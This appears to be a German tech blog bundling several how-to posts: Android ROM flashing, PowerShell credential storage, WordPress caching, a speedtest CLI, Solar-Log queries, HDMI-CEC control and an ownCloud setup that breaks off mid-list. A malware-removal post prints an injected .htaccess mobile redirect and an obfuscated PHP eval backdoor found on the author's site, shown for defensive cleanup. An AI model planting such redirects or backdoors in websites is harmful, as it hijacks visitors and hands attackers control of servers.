LG G3: Wie man ein Custom-Rom installiert (Android 5.0 Lollipop)

LG hat für das G3 bereits Android 5 angekündigt und arbeitet bereits auch am Ausrollen des Over-the-air-Updates.
Für Deutschland ist mir das verteilen des Update noch nicht bekannt, aber in Polen ist es bereits verfügbar. Wer nicht warten kann, kann es über diesen Weg schon vorab installieren.
Auch ein Grund um ein Custom-Rom zu benutzen ist: Wenn man weiter über Root-Rechte verfügen möchte. Denn Google hat mit Android 5.0 / Lollipop einige Änderung für die Sicherheit vorgenommen, was das rooten generell erschweren soll.
Im Moment ist auch noch keine Möglichkeit wie man mit der offiziellen Android 5 Version an root Rechte gelangt (über ein Exploit wie Towerlroot o.ä).
Mit AndroidNow gibt es ein Custom-Rom was auf dem offiziellen Image von LG aufbaut, mit Android 5, Root Rechten und ein paar weiteren Änderungen.
Wie flasht man ein Custom Rom?
[stextbox id=“alert“]Auf alle Fälle vorher ein Backup machen – z.B. mit Titanium Backup oder Helium für die Apps. Für die Einstellungen kann man das LG Backup nutzen. Es kann immer etwas schief gehen![/stextbox]
1. Ihr braucht Roote Rechte
Zum Beispiel via ioroot, oder andere Tools – hatte ich hier schon mal beschrieben.
2. Custom-Recovery (TWRP) herunterladen und auf SD Karte ablegen
Das TWRP Recovery bekommt ihr hier aus folgendem Beitrag. Die .img Datei ist für Flashify ausreichend.
3. Custom-Rom herunterladen und auf SDKarte ablegen
Ihr findet hier einige Roms – ich habe bisher nur AndroidNow 4.2 ausprobiert – kann ich empfehlen.
3. Flashify aus dem Playstore herunterladen
Wird benötigt um ein unter anderem ein verändertes Recovery zu installieren.
4. TWRP (Recovery) flashen
Daszu Flashify starten, root gewähren.
Um sicher zu gehen kann man an dieser Stelle auch nochmal das orginal Recovery sichern.
Anschließend unter Recovery die zuvor heruntergeladene .img Datei flashen.


[stextbox id=“info“]Reboot to Recovery:
Handy ausschalten, Lautstärke Leiser + Power gedrückt halten – Warten bis LG Logo erscheint – loslassen und erneut Leiser + Power drücken.[/stextbox]
5. Full-Backup erstellen
Ins Recovery booten, am einfachsten geht dies aus Flashify heraus (oben Rechts – Reboot Recovery).
Anschließend unter Backup eine Sicherung von allem erstellen, sofern Platz ist. Auf jeden Fall solltet ihr aber das „Modem“ sichern.
6. Custom-Rom flashen
Nun ein Factory-Reset machen dazu im TWRP unter Wipe……
Über Install könnt ihr nun das zu installierende Rom aus dem Speicher auswählen und installieren.
Abschließend Reboot – fertig.

Scripting: Das sichere Speichern von Passwörtern

Um seine privaten Passwörter zu speichern gibt es ja mittlerweile viele Tools wie z.B. PasswortDepot, Keepass, oder Lastpass die ein verschlüsseltes speichern ermöglichen.
Im Firmenumfeld gibt es aber unter Umständen einige Gründe in denen man Passwörter in Powershell oder Batch Scripten ablegen muss.
Jetzt gibt es verschiedene Wege ein Passwort zu speichern und zu nutzen:
1. Im Klartext
Leider ist es immer noch viel zu oft gängige Praxis, das Passwort aufgrund von Faulheit einfach im Klartext in einer Textdatei abzuspeichern.
2. Verschlüsselt via MD5/SHA-1
Die Verschlüsselung des Passwortes sollte auf jeden Fall im Umgang mit Kundendaten oder zum Beispiel für Logindaten erfolgen.
Wenn man ein automatischen Cronjob erzeugt der Remote Daten abgreift, bringt dies allerdings nichts, da ja immer noch das Kennwort (zum Entschlüsseln) irgendwo gespeichert bzw. eingegeben werden muss.
Weitere Infos zum Hashen von Passwörter findet ihr hier sehr schön beschrieben.
3. Verwendung des PSCredential (unter Windows)
Mit der Powershell wurde das PSCredential-Objekt eingeführt – ein Objekt in dem Username + Passwort verschlüsselt abgelegt werden.
Diese Funktion basiert auf der Windows Data Protection Api (DPAPI) wie auch alle anderen Windows-Anwendungen wie z.B. Internet Explorer usw.
Das erzeugen eines PSCredentials funktioniert zum Beispiel so:

$pw = Get-Credential

Wie man sieht besteht das Objekt aus Benutzernamen und dem Passwort welches als „System.Security.SecureString“ gespeichert wird:

PS C:\Users\Constey> $pw
UserName                                                               Password
--------                                                               --------
asd                                                System.Security.SecureString

Um das Passwort jetzt abspeichern zu können muss es in einen String konvertiert werden. Dieser String ist bereits verschlüsselt und sieht ungefähr so aus:

PS C:\Users\Constey> $pw.Password | ConvertFrom-SecureString
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cbd08902a5e36247a761f726c190898
f00000000020000000000106600000001000020000000db8dea5f0d8c77a856c7a156f2a0ebfc19
ce82a95bfc0877192fe3771178ae2f000000000e8000000002000020000000d172638c2edc9eeca
2b764e052fc94b2671d3b62fdcfb2edd98fac306a22d65670000000bbd1fb42c2f91ffc4f9abac5
4c1fc5cdf0396fee5db1f9bc1d21070c2cc07f1911c0f8af85c9eef1019bc50fd382bb120fb8826
7a51115677520452d6eb5347a615218419e3d5803170a3c71e58b5789f1de597082d5d9eb68af66
598590a1607b7975d3c70d6ae09c70ce781cb0f8e8400000001a1c3903abcc486186818c9695b88
b6c54acfb973a7e6670bd08f78653a275791b42b88d823db04348262908b37fdb03bd6d719a05f5
ea35917e69ab96a44a32

Zum Speichern in einer Datei kann man die Ausgabe per Pipe umleiten:

PS C:\Users\Constey> $pw.Password | ConvertFrom-SecureString | out-file c:\temp\test.txt

Wie liest man ein gespeichertes Passwort aus einer Datei wieder ein ?

$username = "test"
$pw = cat c:\temp\test.txt | ConvertTo-SecureString
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $pw

Hier sollte beachtet werden, dass man den Usernamen explizit nochmal von Hand angeben muss, das Kennwort aber aus der Datei importiert wird.
Die $credential Variable ist nun wieder unser PSCredential-Objekt und kann normal weiter verwendet werden.

Get-WmiObject -Query "Select * FROM Win32_OperatingSystem" -Credential $credential

Wenn man nur das Passwort als SecureString über die Konsole einlesen möchte geht dies alternativ auch so:

$pwOnly = read-host -assecurestring

[stextbox id=“info“]Seit Powershell 3.0 gibt es auch die Möglichkeit vollständige Objekte als XML-Datei zu exportieren. Dies kann unter Umständen einfacher sein, da dass Passwort automatisch konvertiert wird und das Objekt auch den Usernamen enthält.[/stextbox]

$pw = Get-Credential
$pw | Export-Clixml C:\temp\test.xml

Der Import funktioniert ebenso simple:

$pwNeu = Import-Clixml C:\temp\test.xml
PS C:\Users\Constey> $pwNeu
UserName                                                               Password
--------                                                               --------
asdasd                                             System.Security.SecureString

Die XML Datei ist wie folgt aufgebaut:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">asdasd</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cbd08902a5e36247a761f726c190898f00000000020000000000106600000001000020000000aa344345ba7c169386795f88c4631bde7834256b4d5f65023cf3a8520683b789000000000e8000000002000020000000b219a67d828f8fe0391687af3ca7ccfc96dfd21546b5ad45915745aed130bcd280000000bf438824b21f066088a69a8bf6c0b2286f50c2ff68b1c881b55d98d6b300d3407be4eb2de0521c21b03bdeec2cf60729ff97ead3217f592ab01954641d0c445c9a0ca77e73d83d949425613dcb51c97c917610a61239cb2aa4017141b2139a0ae7d80d738de22c0545019d38af1811dc8d89476d273f578b776cf0e7addc847c40000000bda7b710327a37477bc6db816a7ca7a3553f44fd71aff73bfa6bbaf1b16b9cc4a400fbc8c536dc08d23ed126547c3b5a049105ef8bb8ca487933755c8565aa8b</SS>
    </Props>
  </Obj>
</Objs>

[stextbox id=“info“]Wichtig: Das PSCredential bzw. der SecureString den man erzeugt wird auf Basis von der PC-Hardware aber auch von Werten des aktuellen Benutzers erzeugt. Das heißt, dass dieser String nicht unter einem anderem User funktioniert.
Das hat zudem den Vorteil, dass man ohne Zugangsdaten des Users nichts mit dem gespeichertem Passwort anfangen kann.
Eine Nutzung zum Beispiel über den Task Scheduler wäre dennoch möglich, denn man kann dort sein Script unter einem anderem Benutzer ausführen lassen. Dafür müssen bei der Erstellung des Tasks die Zugangsdaten des Benutzers einmalig angegeben werden. Diese werden dann wiederum verschlüsselt von Windows’s Credential Manager gespeichert.[/stextbox]
Abschließend gilt zu sagen, dass Sicherheit natürlich auch viel mit Bequemlichkeit zu tun hat – dennoch sollte man im Firmenumfeld seine Kennwörter nicht im Klartext in irgendwelchen Dateien abspeichern, jedenfalls sofern es nicht anders möglich ist.
Falls man dennoch mal mit unsicheren Programmen wie Net-Use, FTP etc. arbeiten muss, die keine -Credential Objekte unterstützen gibt es noch das Tool „Get-PSCredential“ von Thomas Franke, welche auch den Umgang mit solchen Programmen zumindest so Sicher wie möglich macht.

WordPress – Browser Caching einschalten

browser-cachingIch hatte ja schon vor längerer Zeit mal was zu dem Speedtest Verfahren von Google erzählt, welches die Geschwindigkeit eurer Webseite/Blog etc. misst.
Neuerdings wurde bei mir angekreidet, dass ich doch Browser Caching einschalten sollte – hier kurz erklärt wie das funktioniert.
Voraussetzung ist allerdings dass ihr als Webserver den Apache verwendet und das Plugin „mod_expires“ installiert ist.
Man kann das Browsercaching für verschiedene Dateitypen einstellen, sowie mit verschiedenen Ablaufzeiten. Die ausführliche Dokumentation findet ihr hier, ich habe mich mal auf das nötigste beschränkt:

# BrowserCache
<IfModule mod_expires.c>
	ExpiresActive On
	ExpiresDefault "access plus 1 month"
	ExpiresByType image/x-icon "access plus 1 year"
	ExpiresByType image/gif "access plus 1 month"
	ExpiresByType image/png "access plus 1 month"
	ExpiresByType image/jpg "access plus 1 month"
	ExpiresByType image/jpeg "access plus 1 month"
	ExpiresByType text/css "access 1 month"
	ExpiresByType application/javascript "access plus 1 year"
</IfModule>

Den obigen Text müsst ihr in die .htaccess Datei in eurem Stammverzeichnis des Webservers platzieren. Wenn sie nicht vorhanden ist, dann müsst ihr sie anlegen.
Und siehe da jetzt können statische Inhalte wie Bilder, CSS Dateien und Javascripte vom Browser gecacht werden, was zu einer schnelleren Ladezeit führt….. (und Google ist auch glücklich ;-))

WordPress – Maleware MW:HT:291 entfernen und Ursache finden

Heute gibt es mal wieder ein Beitrag von mir in eigener Sache, der meinen WordPress-Blog betrifft.
Wie sich herausgestellt hat wurden alle Webseitenbesucher, welche mit einem Smartphone auf meinen Blog zugreifen wollten automatisch auf irgendwelche Werbeseiten weitergeleitet.
Erst einmal Danke an Steffen, der mir direkt bescheid gegeben hat, sodass der Müll nur für einige Stunden auf meiner Seite aktiv war. Nicht einmal Google war schnell genug um dies zu bemerken. 🙂
Was war passiert ?
Als erstes hatte ich ein paar Online-Viren/Maleware Scanner ausprobiert. Wie schon gesagt hat Google nichts gefunden. Der Malewarescanner von labs.sucuri.net fand dann aber etwas. Gefunden wurde ein sogenannter „Malware entry: MW:HT:291„. Mit der Onlinebeschreibung lies sich aber erst einmal nichts anfangen.
Meine erste Vermutung: Aus irgend einem Plugin oder Theme muss das ja kommen
Also habe ich erst einmal alle Plugins deaktiviert und das Template gewechselt. Leider war die Weiterleitung immer noch drin. Also musste es schon eine Veränderung der WordPress Dateien sein, oder etwas anderes.
Also schaute ich mir mal das Dateisystem an, Ordnerstruktur und WordPress-Dateien.
Dabei sind mir einige .htaccess Dateien aufgefallen, die ich so nicht angelegt hatte. Unter wp-includes, wp-content sowie im Root-Verzeichnis hatte sich da folgendes in die .htaccess eingeschleust:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} android|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|pad)|iris|kindle|lge\ |maemo|meego.+mobile|midp|mmp|netfront|palm(\ os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows\ (ce|phone)|xda|xiino [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a\ wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r\ |s\ )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1\ u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp(\ i|ip)|hs\-c|ht(c(\-|\ |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac(\ |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(\ |\/)|klon|kpt\ |kwc\-|kyo(c|k)|le(no|xi)|lg(\ g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-|\ |o|v)|zz)|mt(50|p1|v\ )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v\ )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-|\ )|webc|whit|wi(g\ |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-) [NC]
RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]

Sucht man im Internet nach „http://luxurytds.com/go.php?sid=1“ findet man bereits einige Einträge zu dem nervigem Thema.
Also den Schmodder erst einmal rausgelöscht und gut war….. Doch woher kommt die Maleware ?
Generell aktualisiere ich regelmäßig meine WordPress Installation sowie alle Plugins. Also sollte es nicht aufgrund irgendwelchen alten WordPress Dateien sein… (Dachte ich!)
Jedenfalls habe ich mir mal einige .php Dateien in meinem WordPress Ordner angeschaut. Bei einer Datei unter wp-content/uploads wurde ich stutzig.
Folgender Inhalt:

<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nb08aac'];
if(isset($s22)){eval($s21($s22));}?>

Auf den ersten Blick sieht das vielleicht für den Laien nicht wirklich besonders aus, aber warum ist der Code so „umständlich“ ?
Aufgeschlüsselt bedeutet der Code aber: Wenn jemand diese Datei ausführt mit den POST Daten „_POST[’nb08aac‘]“ kann er beliebigen Code einschleusen.
Eine super Erklärung dafür, mit allem Aufgeschlüsselt von somewebgeek.com gibt es hier.
Nachdem ich nun alle meine WordPress Dateien nach diesem Inhalt durchsucht habe, fand ich noch weitere Einträge in diversen Dateien:
hack-textsucheWie sich herausgestellt hat, war dies auch in der view.php des lightword Theme enthalten, welches ich allerdings nicht mehr benutze. Vermutlich war das die Quelle des Ganzen.
Was lerne ich daraus?
Vermutlich ist es nicht immer gut alles aufzuheben und ab und an sollte man mal sein WordPress aufzuräumen.
Warum soll man viele nicht mehr verwendete oder deaktivierte Themes & Plugins installiert lassen ? -> Einfach deinstallieren!
Die klassischen Einstellungen wie: WordPress Version verstecken, Username ändern, andere Tabellennamen etc. hatte ich bereits eingestellt.
Über das Plugin „Sucuri Security“ bin ich noch auf weitere Einstellungsmöglichkeiten gekommen wie z.B. Security Keys, Restrict wp-includes access und weitere Tricks.
Einen wirklichen Virenscanner, oder etwas vergleichbares habe ich aber noch nicht gefunden.
Dennoch sollte mein Blog jetzt erst einmal wieder Sicher sein 🙂
 

Speedtest via Kommandozeile (speedtest.net)

Wie schnell ist mein Internet denn im Moment wirklich ? Diese Frage stell ich mir so des öfteren und in Sachen Speedtest gibt es mittlerweile ja auch einige Tools die einen entweder befriedigen, oder zur Weißglut bringen 🙂
Eins davon ist Speedtest.net, die Seite gibt es schon etwas länger und ist weit verbreitet. Durch die große Anzahl an Servern in allen Ländern, lassen sich auch reale Werte ermitteln.
speedtest
Die Seite funktioniert mit einem Browser und Flash wunderbar, doch wie sieht es aus, wenn ich z.B. nur einen Raspberry Pi habe oder von einem Server ohne grafische Oberfläche die Geschwindigkeit per Bash checken will ?
Dafür habe ich ein cooles Tool gefunden – ist in Python geschrieben und lässt sich überall einsetzen. Der Code ist Open-Source und kann natürlich eingesehen werden.

wget -O speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py
chmod +x speedtest-cli
./speedtest-cli
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
Testing from 1&1 Internet AG (87.106.33.84)...
Selecting best server based on latency...
Hosted by Base-Mail (Frankfurt) [100.73 km]: 10.639 ms
Testing download speed........................................
Download: 93.33 Mbits/s
Testing upload speed..................................................
Upload: 90.83 Mbits/s

Das Skript ermittel standardmäßig einen Test-Server der von der Entfernung her am nächsten ist. Das macht generell Sinn, wenn man jetzt aber den Speed auch mal Interkontinental testen möchte, gibt es dafür auch die passenden Parameter:

$ speedtest-cli -h
usage: speedtest-cli [-h] [--bytes] [--share] [--simple] [--list]
[--server SERVER] [--mini MINI] [--source SOURCE]
[--version]
Command line interface for testing internet bandwidth using speedtest.net.
--------------------------------------------------------------------------
https://github.com/sivel/speedtest-cli
optional arguments:
-h, --help show this help message and exit
--bytes Display values in bytes instead of bits. Does not affect
the image generated by --share
--share Generate and provide a URL to the speedtest.net share
results image
--simple Suppress verbose output, only show basic information
--list Display a list of speedtest.net servers sorted by distance
--server SERVER Specify a server ID to test against
--mini MINI URL of the Speedtest Mini server
--source SOURCE Source IP address to bind to
--version Show the version number and exit

So kann man sich z.B. via –list eine Liste der (bei mir im Test über 3000!) verschiedenen Server im Speedtest.net Pool anzeigen lassen:

./speedtest-cli --list
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
....
5085) Google Fiber (Salt Lake City, UT, United States) [3122.60 km]
4178) Syringa Networks (Salt Lake City, UT, United States) [3122.60 km]
244) XMission (Salt Lake City, UT, United States) [3122.60 km]
2206) UTOPIA (Salt Lake City, UT, United States) [3122.60 km]
....

So kann man sich jetzt einen Server in der Liste anhand der ID heraussuchen und über diesen Testen, dann sieht man auch gleich – wie in meinem Fall, dass ich von Deutschland aus keine 100mbit mehr nach Montreal hinbekomme.
Was alleine schon durch die große Entfernung dazwischen eine Leistung ist 🙂

./speedtest-cli --server 1993
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
Testing from 1&1 Internet AG (87.106.33.84)...
Hosted by ElectronicBox (Montreal, QC) [5815.52 km]: 149.306 ms
Testing download speed........................................
Download: 29.63 Mbits/s
Testing upload speed..................................................
Upload: 21.57 Mbits/s

 
Viel Spaß beim Testen.

Solarlog (200) Momentanwerte per Kommandozeile auslesen

Solar-Log LogoBesitzer einer Solaranlage haben in der Regel ja auch einen Datenlogger im Einsatz. Ich habe einen Solarlog 200 bei mir zuhause. Die Abfrage der Livewerte sollte aber auch bei allen anderen Modellen von Solar-Log funktionieren.
Das Solarlog besitzt ja eine sehr schöne grafische Webseite, über diese kann man sich auch alle Werte als JSON Objekte ausgeben lassen.
Jede ID steht für einen bestimmten Wert, hier ist eine Übersicht – diese findet ihr auch im Solarlog Handbuch.

&lt;!-- Solar-Log Json Objekte ----
100 - LastUpdateTime
101 - W Pac (Gesamtleistung) aller Zähler &amp; WR
102 - W Pdc (Gestamtleistung aller WR)
103 - V Uac Durchschnittliche Spannung UAC der Wechselrichter
104 - V Durchschnittliche Spannung UDC der Wechselrichter
105 - Wh Durchschnittliche Spannung UDC der Wechselrichter
106 - Wh Summierter gestriger Tagesertrag aller Wechselrichter
107 - Wh Summiertes Monatsertrag aller WR
108 - Wh Summiertes Jahresertrag aller WR
109 - Wh Gesamtertrag aller Wechselrichter
110 - W momentaner Gesamtverbrauch PAC aller Verbauchszähler
111 - Wh Summierter Verbrauch aller Verbauchs-zähler
112 - Wh Summierter Verbrauch des gestrigen Tages; alle Verbauchszähler
113 - Wh Summierter Verbrauch des Monats; alle Verbauchszähler
114 - Wh Summierter Verbrauch des Jahres, alle Verbauchszähler
115 - Wh Summierter Gesamtverbrauch, alle Ver-bauchszähler
116 - Wp Installierte Generatorleistung
--&gt;

Unter Linux kann man sich dann z.B. via Curl alle Werte ausgeben lassen:

curl -X POST -H "Content-Type: application/json" -d '{"801":{"170":null}}' 192.168.0.69/getjp

Der Befehl gibt bei mir folgende Rückgabe:

{"801":{"170":{"100":"21.09.14 16:32:15","101":257,"102":262,"103":0,"104":407,"105":19466,"106":30730,"107":822005,"108":12972119,"109":23174482,"110":0,"111":0,"112":0,"113":0,"114":0,"115":0,"116":16800}}}

Wenn man das jetzt etwas anders formatiert sieht es schon besser aus:

{"801":
{"170":
{"100":"21.09.14 16:32:15",
"101":257,"102":262,
"103":0,"104":407,
"105":19466,
"106":30730,
"107":822005,
"108":12972119,
"109":23174482,
"110":0,
"111":0,
"112":0,
"113":0,
"114":0,
"115":0,
"116":16800}
}
} 

Fernseher über HDMI (CEC) per Raspberry PI steuern

Wie der begeisterte Bastler bestimmt schon gemerkt hat, kann man mit dem Raspberry PI so einige coole Geräte steuern.
So ist es vielleicht auch nützlich den Fernseher ansteuern zu können. Dafür braucht man generell kein Raspberry PI, sondern nur HDMI und ein CEC-fähigen Fernseher, Endgerät. CEC ist ein definiertes Steuerprotokoll, worüber sich Entertainment Geräte steuern lassen und so z.B. eingeschaltet, ausgeschaltet werden können.
Je nach Hersteller heißt das aber nicht immer CEC, sondern z.B. Anynet+ bei Samsung oder Bravia Theatre Sync bei Sony. Hier findet ihr noch einen ganz einfach geschrieben Artikel der CEC erklärt.
Mit der Software „cec-client“ könnt ihr unter einem Linux-Gerät euren Fernseher via HDMI steuern.
Ich beschreibe hier kurz die Installation und ein paar nützliche Befehle.
Schritt 1: Notwendige Abhängigkeiten installieren

sudo apt-get install autoconf build-essential git liblockdev1-dev libtool libudev-dev pkg-config 

Schritt 2: Quellcode herunterladen
Die Quellen für libcec bzw. cec-client sind offen verfügbar unter: https://github.com/Pulse-Eight/libcec.

git clone git://github.com/Pulse-Eight/libcec.git

Schritt 3: Konfigurieren

cd libcec/
./bootstrap
./configure --with-rpi-include-path=/opt/vc/include --with-rpi-lib-path=/opt/vc/lib --enable-rpi

Schritt 4: Kompilieren

make
sudo make install
sudo ldconfig

Schritt 5: Testen
Nun probieren wir aus, ob der cec-client denn funktioniert, er müsste den Raspberry PI erkennen.

pi@RPI ~ $ cec-client -l
Found devices: 1
device: 1
com port: RPI
vendor id: 2708
product id: 1001
firmware version: 1
type: Raspberry Pi

So und nun zum interessanten Teil: Fernseher per HDMI steuern.
Prüft ob an eurem Fernseher die HDMI-CEC Funktion eingeschaltet ist. Dies ist Standardmäßig nicht immer der Fall. In der Regel findet sich dies immer irgendwo unter Einstellungen -> System -> HDMI.
Fernseher per CEC-Client einschalten: 
Folgenden Befehl einfach über die Kommandozeile absetzen.

echo "on 0" | sudo cec-client -s -d 1

Das -s brauchen wir, damit der cec-client im „Single Command“ Mode arbeitet, und unseren Befehl per echo-pipe entgegen nimmt.
Das -d 1 setzt das Loglevel und sorgt für eine überschaubare Rückmeldung. Ihr könnt das ruhig mal weglassen und die komplette Ausgabe analysieren.
Fernseher per CEC-Client ausschalten:

echo "standby 0" | sudo cec-client -s -d 1

Power-Status per CEC-Client auslesen:

echo "pow 0" | sudo cec-client -s -d 1

Fernseher per CEC-Client auf HDMI1,HDMI2,HDMI3, usw. umschalten:

echo "tx 4F 82 10 00" | cec-client -s

Wofür das 4F steht weiß ich ehrlich gesagt nicht, die 82 steht für den „Active Source“ Befehl, die 10 ist bei meinem Sony Fernseher HDMI1, die 00 ist das Ziel als Broadcast.
Um auf HDMI4 umzuschalten wäre der Befehl also:

echo "tx 4F 82 40 00" | cec-client -s

Da muss man ein bisschen herumprobieren, kann je nach Fernseher etwas unterschiedlich sein.
Hilfreich kann folgende Seite sein: www.cec-o-matic.com, dort kann man sich die HDMI Befehle passend zusammenklicken.

Owncloud 7 mit Truecrypt verschlüsselung und SSL unter Ubuntu 14.04 installieren

logoDurch verschiedene „angebliche“ Hacks sind öffentliche Cloud-Dienstleister ja wieder einmal ordentlich in die Kritik gerückt worden. Aus diesem Grund erkläre ich hier, wie man seine eigene private Cloud unter einem Ubuntu Server installieren kann.
Die kostenfreie owncloud Software dient uns dafür als Basis für unsere Cloud. Zur Synchronisation von Dateien, Kontakten, Fotos, Kalendern etc. gibt es verschiedene Apps für Windows, Linux, Unix, Android und iOS.
Unsere Daten speichern wir in einem verschlüsseltem Truecrypt Container und können die einzelnen Dateien zusätzlich noch einmal per Server-Side-Encryption verschlüsseln.
Die beste Verschlüsselung hilft natürlich nichts, wenn man einfache Passwörter benutzt.
Die Installation von Owncloud 7 tätige ich auf einem Ubuntu Server 14.04 – das ganze funktioniert aber zum Beispiel auch mit einem Raspberry Pi!
Also Schritt 1: Truecrypt installieren über PPA:

add-apt-repository ppa:stefansundin/truecrypt
apt-get update &amp;&amp; apt-get install truecrypt

Truecrypt Volume erstellen:

truecrypt –create

[EXPAND Truecrypt Container erstellung]
truecrypt –create
Volume type:
1) Normal
2) Hidden
Select [1]: 1
Enter volume path: /media/hdd1tb/container.tc
Enter volume size (sizeK/size[M]/sizeG): 300G
Encryption algorithm:
1) AES
2) Serpent
3) Twofish
4) AES-Twofish
5) AES-Twofish-Serpent
6) Serpent-AES
7) Serpent-Twofish-AES
8) Twofish-Serpent
Select [1]:
Hash algorithm:
1) RIPEMD-160
2) SHA-512
3) Whirlpool
Select [1]:
Filesystem:
1) None
2) FAT
3) Linux Ext2
4) Linux Ext3
5) Linux Ext4
Select [2]: 5
Enter password:
Re-enter password:
Enter keyfile path [none]:
Please type at least 320 randomly chosen characters and then press Enter
[/EXPAND]
Truecrypt Volume mounten:

truecrypt -m /media/hdd1tb/container.tc /media/data

Für Owncloud vorbereiten:

mkdir /media/data/oc
touch /media/data/oc/.ocdata
chown www-data:www-data /media/data/oc

Für die owncloud Installation gibt es 2 Möglichkeiten: Entweder via apt-get install owncloud oder manuell.
Ich beschreibe den manuellen weg, dass ist nicht umständlicher und man weiß besser was im Hintergrund passiert und was die Default-Pfade sind.
Manuelle Owncloud installation:
1. Notwendige Abhängigkeiten installieren:

sudo apt-get install apache2 mysql-server libapache2-mod-php5
sudo apt-get install php5-gd php5-json php5-mysql php5-curl
sudo apt-get install php5-intl php5-mcrypt php5-imagick phpmyadmin

Hinweis: Um alle Funktionen nutzen zu können, wird über apt vorgeschlagen die folgenden Pakete zusätzlich noch zu installieren. Ich würde dies erst einmal nicht machen, und nur dass installieren, was später auch wirklich benötigt wird.
[Expand weitere Abhängigkeiten]
ca-certificates-java dbus-x11 default-jre default-jre-headless
desktop-file-utils dictionaries-common fonts-dejavu fonts-dejavu-extra
fonts-font-awesome fonts-liberation fonts-opensymbol fonts-sil-gentium
fonts-sil-gentium-basic gconf-service gconf-service-backend gconf2
gconf2-common gdisk ghostscript gsfonts gvfs gvfs-common gvfs-daemons
gvfs-libs hunspell-en-us icedtea-7-jre-jamvm imagemagick-common java-common
libao-common libao4 libasound2 libasound2-data libasyncns0 libatasmart4
libatk-wrapper-java libatk-wrapper-java-jni libav-tools libavahi-glib1
libavcodec54 libavdevice53 libavfilter3 libavformat54 libavresample1
libavutil52 libbonobo2-0 libbonobo2-common libboost-date-time1.54.0
libboost-system1.54.0 libcaca0 libcanberra0 libcdio-cdda1 libcdio-paranoia1
libcdio13 libcdr-0.0-0 libclucene-contribs1 libclucene-core1 libcmis-0.4-4
libcolamd2.8.0 libcupsfilters1 libcupsimage2 libdc1394-22
libexttextcat-2.0-0 libexttextcat-data libfftw3-double3 libflac8 libfontenc1
libgconf-2-4 libgconf2-4 libgif4 libglu1-mesa libgnome2-0 libgnome2-bin
libgnome2-common libgnomevfs2-0 libgnomevfs2-common libgs9 libgs9-common
libgsm1 libgstreamer-plugins-base1.0-0 libgstreamer1.0-0 libharfbuzz-icu0
libhsqldb1.8.0-java libhunspell-1.3-0 libhyphen0 libicu52 libidl-common
libidl0 libijs-0.35 libjack-jackd2-0 libjbig2dec0 libjs-chosen
libjs-dojo-core libjs-dojo-dijit libjs-dojo-dojox libjs-jcrop
libjs-jquery-minicolors libjs-jquery-timepicker libjs-pdf libjs-sphinxdoc
libjs-twitter-bootstrap liblangtag-common liblangtag1 libldb1 liblqr-1-0
libmagickcore5 libmagickwand5 libmhash2 libmp3lame0 libmspub-0.0-0
